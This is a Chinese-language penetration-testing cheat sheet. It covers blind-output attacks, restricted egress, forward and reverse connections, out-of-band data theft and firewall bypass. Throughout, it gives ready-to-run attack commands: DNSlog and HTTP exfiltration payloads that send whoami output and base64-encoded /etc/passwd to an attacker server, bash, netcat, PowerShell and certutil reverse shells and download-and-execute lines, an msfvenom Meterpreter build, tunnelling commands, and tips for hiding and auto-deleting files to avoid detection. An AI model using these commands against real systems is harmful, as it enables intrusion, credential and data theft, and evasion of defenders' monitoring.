网络安全数据传输与连接

[TOC]

网络安全数据传输与连接

一、数据不回显:原因与解决策略

1. 核心概念

数据不回显是指攻击中发送的 payload 未返回预期响应(如 SQLi 注入后无结果、命令执行无输出),本质是目标系统的输出机制被限制(如配置禁用、权限不足、逻辑屏蔽)。

2. 常见原因

  • 应用层限制:程序仅返回固定格式响应,忽略攻击 payload 输出;
  • 权限不足:执行命令/查询的用户无读取结果、输出数据的权限;
  • 网络层过滤:防火墙拦截包含敏感字符的响应包;
  • 技术特性:部分协议(如盲注、无交互命令行)本身不支持实时回显。

3. 演示配置

  • 测试环境:DVWA(SQL 盲注模块)、Linux 无交互 Shell(sh -c "command > /dev/null 2>&1"
  • 核心工具:DNSlog 平台(http://ceye.io/)、Burp Suite(payload 构造)、文件上传工具(如 Webdav)

4. 安全影响

直接阻碍漏洞验证与数据窃取,需通过间接方式确认漏洞存在并获取信息,攻击难度提升。

5. 攻击思路

  • 盲注确认漏洞:用时间盲注(if(条件,sleep(5),0))、布尔盲注(if(条件,1,0))判断 payload 是否生效;
  • DNSlog 外带数据:构造 payload 让目标触发 DNS 解析,将数据嵌入域名(如 SQLi:select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\a')));
  • 延迟写入文件:将执行结果写入可访问文件(如 Linux:whoami > /var/www/html/result.txt;Windows:ipconfig > C:\inetpub\wwwroot\ip.txt),后续访问文件获取数据;
  • 带外通信:通过 HTTP 外带(curl http://xxx.ceye.io/$(whoami))、FTP 上传,将数据传输至公网服务器。

二、数据不出网:突破网络限制

1. 核心概念

数据不出网是指目标内网/服务器无法主动连接公网(如仅允许入站、禁用出站端口、无路由),导致反弹 Shell、外带数据失败,是常见的网络隔离防护策略。

2. 限制原因

  • 出入站策略:防火墙/安全组仅放行 80、443 等少量入站端口,禁用所有出站端口;
  • 路由缺失:目标无公网 IP,仅能通过内网网关访问,无公网路由;
  • 代理限制:需通过企业代理访问公网,且代理过滤敏感协议(如 TCP 反向连接)。

3. 演示配置

  • 测试环境:VMware 搭建内网(无公网 IP)、Windows 防火墙仅放行 80 入站端口
  • 核心工具:Frp(端口转发)、Ngrok(内网穿透)、ICMP 隧道工具(ptunnel-ng)

4. 安全影响

阻断反弹 Shell、主动外带数据等攻击路径,仅能通过正连接、隧道技术突破限制。

5. 攻击思路

  • 正连接主动获取:若目标开放入站端口(如 22、3389),直接登录服务器(暴力破解、密钥登录)获取权限;
  • 隧道穿透限制:
    • TCP 隧道:用 Frp 配置公网服务器为中转(客户端:frpc -u -server_addr=公网IP:7000 -remote_port=6666 -local_port=22),映射内网端口至公网;
    • ICMP 隧道:利用 ICMP 协议无端口限制特性,通过 ptunnel-ng 封装数据(ptunnel-ng -p 公网IP -l 1080 -r 内网目标IP:22);
    • HTTP/HTTPS 隧道:用 reGeorg 将内网端口转为 HTTP 代理(python reGeorgSocksProxy.py -u http://目标IP/tunnel.php -p 8888),通过 80/443 端口穿透。

三、正反向连接:控制通道建立

1. 核心概念

正反向连接是攻击中建立控制通道的两种核心方式,本质是「主动发起方」的差异,适配不同网络环境(出网/不出网)。

连接类型 核心定义 适用场景 依赖条件
正向连接 攻击者主动连接目标开放端口(如 22、3389、自定义端口) 目标开放入站端口、数据不出网 目标入站端口可访问(公网/内网可达)
反向连接 目标主动连接攻击者监听端口 目标可出网、入站端口受限 目标允许出站连接、攻击者公网 IP 可达

2. 演示配置

  • 正向连接:Linux 目标开启 SSH(22 端口)、Windows 开启 3389 远程桌面
  • 反向连接:攻击者公网服务器(IP:192.168.1.100)、目标服务器(可出网)

3. 核心命令(反弹 Shell/正向连接)

(1)反向连接(反弹 Shell)

  • Linux:
    • Bash:bash -i >& /dev/tcp/192.168.1.100/6666 0>&1
    • Netcat:nc -e /bin/bash 192.168.1.100 6666
  • Windows:
    • Powershell:powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://192.168.1.100/ps1.txt')"
    • Certutil:certutil -urlcache -split -f http://192.168.1.100/nc.exe && nc.exe 192.168.1.100 6666 -e cmd.exe

(2)正向连接

  • Linux:nc -lvp 8888 -e /bin/bash(目标开放 8888 端口,攻击者:nc 目标IP 8888
  • Windows:nc.exe -lvp 8888 -e cmd.exe(攻击者:nc 目标IP 8888

4. 攻击思路

  • 反向连接优先:目标可出网时,用反弹 Shell 绕过入站端口限制(无需开放端口),攻击者仅需监听公网端口;
  • 正向连接补位:目标不出网但开放入站端口(如 22、3389),通过暴力破解、漏洞利用(如 SSH 密钥注入)获取登录权限,主动建立连接;
  • 连接稳定性优化:用 Meterpreter 反弹 Shell(msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.100 lport=6666 -f elf -o shell.elf),支持自动重连、后台运行,避免连接断开。

四、外带与延迟写入:数据窃取进阶

1. 核心概念

外带是指通过非直接响应的方式(如 DNS、HTTP、FTP)将目标数据传输至公网;延迟写入是指将数据写入目标文件系统,后续通过访问/下载获取,均用于突破数据不回显、不出网限制。

2. 技术特点

  • 外带:实时性强,无需访问目标文件,依赖目标出网能力;
  • 延迟写入:不依赖出网,仅需目标有可访问的文件存储与读取权限。

3. 攻击思路

  • 多协议外带组合:
    • DNS 外带:适合无回显 SQLi、命令执行,兼容性强(多数系统支持 DNS 解析);
    • HTTP 外带:用 Python 搭建简易服务器(python -m http.server 80),目标执行 curl http://公网IP/$(cat /etc/passwd | base64),攻击者查看访问日志获取 Base64 编码数据;
    • FTP 外带:在公网搭建 FTP 服务器(匿名登录),目标执行 echo "data" | ftp -v -n 公网IP 21 << EOF put - EOF,上传数据至 FTP;
  • 延迟写入技巧:
    • 隐藏文件路径:写入系统临时目录(Linux:/tmp/;Windows:%TEMP%)或隐藏文件(./.result),避免被发现;
    • 分片写入:数据量大时拆分文件(split -b 1M /etc/passwd /tmp/pw_),后续分批下载拼接;
    • 定时删除:写入后用计划任务删除文件(Linux:at now + 5 minutes -f "rm /tmp/result.txt"),降低检测风险。

五、出入站策略绕过:突破防火墙限制

1. 核心概念

出入站策略是防火墙/安全组的核心规则,通过限制端口、协议、IP 实现访问控制,是网络安全的第一道防线,攻击需针对性绕过规则限制。

2. 常见策略

  • 仅放行常用入站端口:80(HTTP)、443(HTTPS)、22(SSH)、3389(RDP);
  • 禁用出站端口:仅允许 80、443 出站(阻断其他协议反向连接);
  • IP 白名单:仅允许指定 IP 访问核心端口(如 SSH 仅白名单办公 IP)。

3. 攻击思路

  • 端口复用:利用开放端口(如 80、443)传输攻击流量(如将反弹 Shell 封装为 HTTP 流量,绕过出站限制);
  • 协议伪装:将 TCP 连接伪装为 HTTPS 协议(用 sslwrap 工具),欺骗防火墙放行;
  • IP 欺骗:伪造白名单 IP(如 ARP 欺骗内网网关,伪装白名单 IP 访问目标);
  • 规则遍历:扫描防火墙放行的冷门端口(如 8080、8443),寻找未严格限制的端口作为攻击入口。